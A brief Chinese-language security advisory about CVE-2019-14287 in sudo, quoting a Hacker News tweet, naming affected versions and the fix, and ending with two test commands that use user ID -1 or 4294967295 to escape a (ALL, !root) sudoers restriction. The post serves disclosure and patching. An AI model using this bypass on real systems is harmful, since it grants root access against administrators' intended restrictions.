此漏洞编号为 CVE-2019-14287 ，由 Apple Information Security 的 Joe Vennix 跟踪与发现。

---

🔥 CVE-2019-14287

A flaw in Sudo—that comes installed on almost every #Linux OS—could let users run commands as "root" even when they're restricted.

Details ➤ https://t.co/NeFvITBR73

How? Just by specifying user ID "-1" or "4294967295" in the command instead of the root. pic.twitter.com/zlvC7PSYrI

— The Hacker News (@TheHackersNews) October 14, 2019

 

该漏洞影响 Sudo v1.8.28 之前的所有版本，新版本 ( v1.8.28 ) 已修复，各大 Linux 发行版已于今日为用户下发修复更新。

---

触发前提

用户在 /etc/sudoers 中，配置 sudo 限制为 user = (ALL, !root) command 其中 只要执行者限定满足 ALL 条件即可提权至 root 用户

测试命令（两种均可）

sudo -u#-1 whoami
sudo -u#4294967295 whoami